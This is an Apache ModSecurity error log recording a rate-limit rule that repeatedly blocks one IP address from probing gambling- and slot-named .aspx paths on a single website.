[Sun Feb 22 01:55:52.795576 2026] [:error] [pid 3195:tid 3463] [client 51.83.237.175:56072] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aZnxqA28anZ1nWyZCI5GgwAAAFg"]
[Sun Feb 22 01:55:52.959655 2026] [:error] [pid 4789:tid 4801] [client 51.83.237.175:56088] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aZnxqK9_231lp37V1xxVSAAAAQo"]
[Sun Feb 22 01:55:53.503246 2026] [:error] [pid 3204:tid 3468] [client 51.83.237.175:56104] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aZnxqXAwnUMG8727rz4Z7gAAAII"]
[Sun Feb 22 01:55:53.685844 2026] [:error] [pid 4789:tid 4810] [client 51.83.237.175:56060] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/888%20slot.aspx"] [unique_id "aZnxqa9_231lp37V1xxVSgAAARM"]
[Sun Feb 22 01:55:54.735833 2026] [:error] [pid 3516:tid 3540] [client 51.83.237.175:56106] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aZnxqktaWLejEJFWY3FA5QAAANU"]
[Sun Feb 22 01:55:55.987330 2026] [:error] [pid 3179:tid 3423] [client 51.83.237.175:56116] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aZnxq9gAWCcL8bTGJUUv8AAAAAs"]
[Sun Feb 22 01:55:56.133629 2026] [:error] [pid 3179:tid 3435] [client 51.83.237.175:56124] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/all%20slot.aspx"] [unique_id "aZnxrNgAWCcL8bTGJUUv8QAAABc"]
[Sun Feb 22 01:55:56.351363 2026] [:error] [pid 3204:tid 3481] [client 51.83.237.175:56128] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aZnxrHAwnUMG8727rz4Z8wAAAI8"]
[Sun Feb 22 01:55:56.770260 2026] [:error] [pid 3516:tid 3527] [client 51.83.237.175:56142] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aZnxrEtaWLejEJFWY3FA6wAAAMg"]
[Sun Feb 22 01:55:58.807735 2026] [:error] [pid 3204:tid 3467] [client 51.83.237.175:48266] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/allslot%20wallet.aspx"] [unique_id "aZnxrnAwnUMG8727rz4Z9wAAAIE"]
[Sun Feb 22 01:55:59.009122 2026] [:error] [pid 3195:tid 3441] [client 51.83.237.175:48270] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aZnxrw28anZ1nWyZCI5GiAAAAEI"]
[Sun Feb 22 01:55:59.662170 2026] [:error] [pid 4789:tid 4805] [client 51.83.237.175:48284] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aZnxr69_231lp37V1xxVYQAAAQ4"]
[Sun Feb 22 01:56:00.214300 2026] [:error] [pid 3195:tid 3459] [client 51.83.237.175:48294] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aZnxsA28anZ1nWyZCI5GiwAAAFQ"]
[Sun Feb 22 01:56:00.790817 2026] [:error] [pid 4789:tid 4796] [client 51.83.237.175:48310] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amb%20superslot.aspx"] [unique_id "aZnxsK9_231lp37V1xxVZQAAAQU"]
[Sun Feb 22 01:56:01.118214 2026] [:error] [pid 3516:tid 3520] [client 51.83.237.175:48316] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aZnxsUtaWLejEJFWY3FA8AAAAME"]
[Sun Feb 22 01:56:01.814093 2026] [:error] [pid 3516:tid 3524] [client 51.83.237.175:48320] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aZnxsUtaWLejEJFWY3FA8gAAAMU"]
[Sun Feb 22 01:56:03.339762 2026] [:error] [pid 3516:tid 3530] [client 51.83.237.175:48338] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "aZnxs0taWLejEJFWY3FA9QAAAMs"]
[Sun Feb 22 01:56:03.429815 2026] [:error] [pid 3516:tid 3532] [client 51.83.237.175:48328] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aZnxs0taWLejEJFWY3FA9gAAAM0"]
[Sun Feb 22 01:56:03.543564 2026] [:error] [pid 3516:tid 3537] [client 51.83.237.175:48354] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aZnxs0taWLejEJFWY3FA-AAAANI"]
[Sun Feb 22 01:56:03.857925 2026] [:error] [pid 3195:tid 3447] [client 51.83.237.175:48366] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aZnxsw28anZ1nWyZCI5GkgAAAEg"]
[Sun Feb 22 01:56:05.597185 2026] [:error] [pid 3204:tid 3475] [client 51.83.237.175:48376] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aZnxtXAwnUMG8727rz4aBwAAAIk"]
[Sun Feb 22 01:56:05.891568 2026] [:error] [pid 3179:tid 3430] [client 51.83.237.175:48384] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/metal%20slot.aspx"] [unique_id "aZnxtdgAWCcL8bTGJUUwAQAAABI"]
[Sun Feb 22 01:56:05.940428 2026] [:error] [pid 3179:tid 3413] [client 51.83.237.175:48386] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aZnxtdgAWCcL8bTGJUUwAgAAAAE"]
[Sun Feb 22 01:56:06.605294 2026] [:error] [pid 3179:tid 3415] [client 51.83.237.175:48394] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aZnxttgAWCcL8bTGJUUwAwAAAAM"]
[Sun Feb 22 01:56:07.780804 2026] [:error] [pid 3516:tid 3539] [client 51.83.237.175:55620] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20168.aspx"] [unique_id "aZnxt0taWLejEJFWY3FBAAAAANQ"]
[Sun Feb 22 01:56:08.505139 2026] [:error] [pid 3195:tid 3451] [client 51.83.237.175:55622] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aZnxuA28anZ1nWyZCI5GnQAAAEw"]
[Sun Feb 22 01:56:08.877566 2026] [:error] [pid 3179:tid 3436] [client 51.83.237.175:55624] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aZnxuNgAWCcL8bTGJUUwBwAAABg"]
[Sun Feb 22 01:56:09.707353 2026] [:error] [pid 3516:tid 3530] [client 51.83.237.175:55634] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aZnxuUtaWLejEJFWY3FBAQAAAMs"]
[Sun Feb 22 01:56:10.007421 2026] [:error] [pid 3516:tid 3532] [client 51.83.237.175:55636] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20auto.aspx"] [unique_id "aZnxuktaWLejEJFWY3FBAgAAAM0"]
[Sun Feb 22 01:56:11.176250 2026] [:error] [pid 4789:tid 4814] [client 51.83.237.175:55646] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aZnxu69_231lp37V1xxVdAAAARc"]
[Sun Feb 22 01:56:11.242131 2026] [:error] [pid 3179:tid 3413] [client 51.83.237.175:55652] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "aZnxu9gAWCcL8bTGJUUwCQAAAAE"]
[Sun Feb 22 01:56:11.971501 2026] [:error] [pid 3204:tid 3488] [client 51.83.237.175:55660] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aZnxu3AwnUMG8727rz4aDQAAAJY"]
[Sun Feb 22 01:56:12.036942 2026] [:error] [pid 3204:tid 3486] [client 51.83.237.175:55676] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20betflik.aspx"] [unique_id "aZnxvHAwnUMG8727rz4aDgAAAJQ"]
[Sun Feb 22 01:56:13.219901 2026] [:error] [pid 4789:tid 4795] [client 51.83.237.175:55686] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aZnxva9_231lp37V1xxVewAAAQQ"]
[Sun Feb 22 01:56:13.351076 2026] [:error] [pid 3179:tid 3434] [client 51.83.237.175:55702] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "aZnxvdgAWCcL8bTGJUUwCgAAABY"]
[Sun Feb 22 01:56:14.154250 2026] [:error] [pid 3195:tid 3461] [client 51.83.237.175:55708] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game%20slot.aspx"] [unique_id "aZnxvg28anZ1nWyZCI5GqQAAAFY"]
[Sun Feb 22 01:56:14.971122 2026] [:error] [pid 3516:tid 3539] [client 51.83.237.175:55716] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "aZnxvktaWLejEJFWY3FBCwAAANQ"]
[Sun Feb 22 01:56:15.421296 2026] [:error] [pid 3195:tid 3452] [client 51.83.237.175:55742] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aZnxvw28anZ1nWyZCI5GrwAAAE0"]
[Sun Feb 22 01:56:15.436023 2026] [:error] [pid 4789:tid 4806] [client 51.83.237.175:55732] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aZnxv69_231lp37V1xxVgwAAAQ8"]
[Sun Feb 22 01:56:16.399498 2026] [:error] [pid 4789:tid 4808] [client 51.83.237.175:55752] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game.aspx"] [unique_id "aZnxwK9_231lp37V1xxVhAAAARE"]
[Sun Feb 22 01:56:17.263468 2026] [:error] [pid 4789:tid 4800] [client 51.83.237.175:50826] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "aZnxwa9_231lp37V1xxVhwAAAQk"]
[Sun Feb 22 01:56:17.956450 2026] [:error] [pid 3195:tid 3461] [client 51.83.237.175:50846] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aZnxwQ28anZ1nWyZCI5GtAAAAFY"]
[Sun Feb 22 01:56:18.203869 2026] [:error] [pid 4789:tid 4792] [client 51.83.237.175:50836] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/metal%20slot.aspx"] [unique_id "aZnxwq9_231lp37V1xxVjgAAAQE"]
[Sun Feb 22 01:56:20.555270 2026] [:error] [pid 3516:tid 3539] [client 51.83.237.175:50858] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aZnxxEtaWLejEJFWY3FBFwAAANQ"]
[Sun Feb 22 01:56:22.535678 2026] [:error] [pid 3179:tid 3425] [client 51.83.237.175:50874] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20joker.aspx"] [unique_id "aZnxxtgAWCcL8bTGJUUwDQAAAA0"]
[Sun Feb 22 01:56:24.538771 2026] [:error] [pid 3204:tid 3472] [client 51.83.237.175:50876] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20osaka.aspx"] [unique_id "aZnxyHAwnUMG8727rz4aHAAAAIY"]
[Sun Feb 22 01:56:26.603180 2026] [:error] [pid 3179:tid 3418] [client 51.83.237.175:50884] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20plus.aspx"] [unique_id "aZnxytgAWCcL8bTGJUUwEgAAAAY"]
[Sun Feb 22 01:56:47.626569 2026] [:error] [pid 3195:tid 3453] [client 51.83.237.175:50852] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aZnx3w28anZ1nWyZCI5G2AAAAE4"]
[Sun Feb 22 01:56:48.800879 2026] [:error] [pid 4789:tid 4793] [client 51.83.237.175:42268] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aZnx4K9_231lp37V1xxVxgAAAQI"]
[Sun Feb 22 01:56:49.369818 2026] [:error] [pid 3179:tid 3418] [client 51.83.237.175:58566] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20auto.aspx"] [unique_id "aZnx4dgAWCcL8bTGJUUwNgAAAAY"]
[Sun Feb 22 01:56:49.523014 2026] [:error] [pid 4789:tid 4814] [client 51.83.237.175:38204] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aZnx4a9_231lp37V1xxVygAAARc"]
[Sun Feb 22 01:56:49.547012 2026] [:error] [pid 3195:tid 3448] [client 51.83.237.175:42270] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aZnx4Q28anZ1nWyZCI5G2QAAAEk"]
[Sun Feb 22 01:56:51.638103 2026] [:error] [pid 3195:tid 3439] [client 51.83.237.175:38208] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aZnx4w28anZ1nWyZCI5G3QAAAEA"]
[Sun Feb 22 01:56:52.496229 2026] [:error] [pid 3516:tid 3519] [client 51.83.237.175:38224] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aZnx5EtaWLejEJFWY3FBTwAAAMA"]
[Sun Feb 22 01:56:52.701161 2026] [:error] [pid 4789:tid 4802] [client 51.83.237.175:38240] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aZnx5K9_231lp37V1xxV0AAAAQs"]
